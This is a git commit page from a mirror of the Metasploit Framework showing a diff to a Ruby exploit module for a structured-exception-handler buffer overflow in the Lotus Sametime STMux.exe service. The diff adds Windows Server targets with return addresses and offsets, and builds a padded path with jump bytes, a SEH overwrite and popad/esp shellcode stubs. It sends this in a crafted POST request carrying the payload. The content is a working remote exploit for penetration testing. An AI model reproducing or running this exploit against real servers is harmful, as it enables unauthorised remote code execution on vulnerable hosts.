infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Updated with changes from raif. 

git-svn-id: file:///home/svn/framework3/trunk@6080 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Patrick Webster 2009-01-07 00:15:55 +00:00
parent 60634b4d87
commit 204ebd411f
1 changed files with 19 additions and 12 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

29
modules/exploits/windows/lotus/domino_sametime_stmux.rb
View File

@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
STMux.exe service we are able to overwrite SEH. Based on the exploit
by Manuel Santamarina Suarez.
},
'Author' => 'patrick',
'Author' => [ 'patrick', 'riaf <riaf@mysec.org>' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'EXITFUNC' => 'seh',
},
'Payload' =>
{
@ -51,10 +51,13 @@ class Metasploit3 < Msf::Exploit::Remote
'Targets' =>
[
# Patrick - Tested OK against Windows 2003 SP1 20081114
[ 'Lotus Sametime 7.5 on Windows Server 2000', { 'Ret' => 0x7c3410c2, 'Offset' => 268 } ], # pop ecx, pop exc, ret msvcr71.dll
[ 'Lotus Sametime 7.5 on Windows Server 2003', { 'Ret' => 0x7c3410c2, 'Offset' => 269 } ], # pop ecx, pop exc, ret msvcr71.dll
[ 'Lotus Sametime 7.5 on Windows Server 2000 SP4', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 268 ] }], # pop ecx, pop exc, ret msvcr71.dll
[ 'Lotus Sametime 7.5 on Windows Server 2003 SP1', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 269 ] }], # pop ecx, pop exc, ret msvcr71.dll
[ 'Lotus Sametime 7.5 on Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
[ 'Lotus Sametime 7.5.1 Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 5, 269 ] }],
[ 'Lotus Sametime 8.0.0 Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
],
'DisclosureDate' => 'Dec 27 2004', #
'DisclosureDate' => 'May 21 2008',
'DefaultTarget' => 1))
register_options(
@ -96,18 +99,22 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
connect
# Patrick - We should use Metasm here.
#popebx = Metasm::Shellcode.assemble(Metasm::Ia32.new, "pop ebx").encode_string * 3
#popad = Metasm::Shellcode.assemble(Metasm::Ia32.new, "popad").encode_string * target['Offset']
pad1 = rand_text_alpha_lower(44)
pad2 = rand_text_alpha_lower(29)
popad = "\x5b" * 3 + "\x61" * target['Offset'] + "\xff\x24\x24" # pop ebx, popad jmp, dword ptr ss:[esp]
# Patrick - We should use Metasm here.
popebx = Metasm::Shellcode.assemble(Metasm::Ia32.new, "pop ebx").encode_string * target['Offset'][0]
popad = Metasm::Shellcode.assemble(Metasm::Ia32.new, "popad").encode_string * target['Offset'][1]
esp = "\xff\x24\x24" # dword ptr ss:[esp]
jmp = "\x74\x23" + "\x75\x21" # je short, jnz short
path = "\x66" * 44 + jmp + [target['Ret']].pack('V') + "\x66" * 29 + popad
seh = [target['Ret']].pack('V')
path = pad1 + jmp + seh + pad2 + popebx + popad + esp
req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
req << "User-Agent: Sametime Community Agent\r\n"
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
req << "Content-Length: #{payload.encoded.length}\r\n"
req << "Content-Length: #{payload.encoded.length.to_s}\r\n"
req << "Connection: Close\r\n"
req << "Cache-Control: no-cache\r\n\r\n"
req << payload.encoded